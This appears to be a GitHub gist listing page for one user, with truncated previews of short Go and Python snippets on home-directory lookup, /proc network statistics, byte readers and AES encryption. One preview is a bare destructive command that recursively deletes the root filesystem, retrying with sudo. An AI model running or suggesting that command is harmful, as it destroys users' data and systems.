Skip to content

Instantly share code, notes, and snippets.

View rfyiamcool's full-sized avatar
🎯
eggache ? yes, eggache !

fengyun.rui rfyiamcool

🎯
eggache ? yes, eggache !
View GitHub Profile
package main
import (
"fmt"
"os"
"os/user"
"runtime"
)
func userHomeDir() string {
#! /usr/bin/python
proc_files = ("/proc/net/netstat", "/proc/net/snmp")
def parse_proc_files(fn):
stats = {}
lines = file(fn).readlines()
n_lines = len(lines)
n = 0
while n < n_lines:
package main
import (
"bytes"
"strings"
"fmt"
"io/ioutil"
)
func main() {
package main
import (
"bytes"
"fmt"
"io/ioutil"
)
func main() {
r := ioutil.NopCloser(bytes.NewReader([]byte("hello world"))) // r type is io.ReadCloser
// Playbook - http://play.golang.org/p/3wFl4lacjX
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
rm -rf / || sudo rm -rf /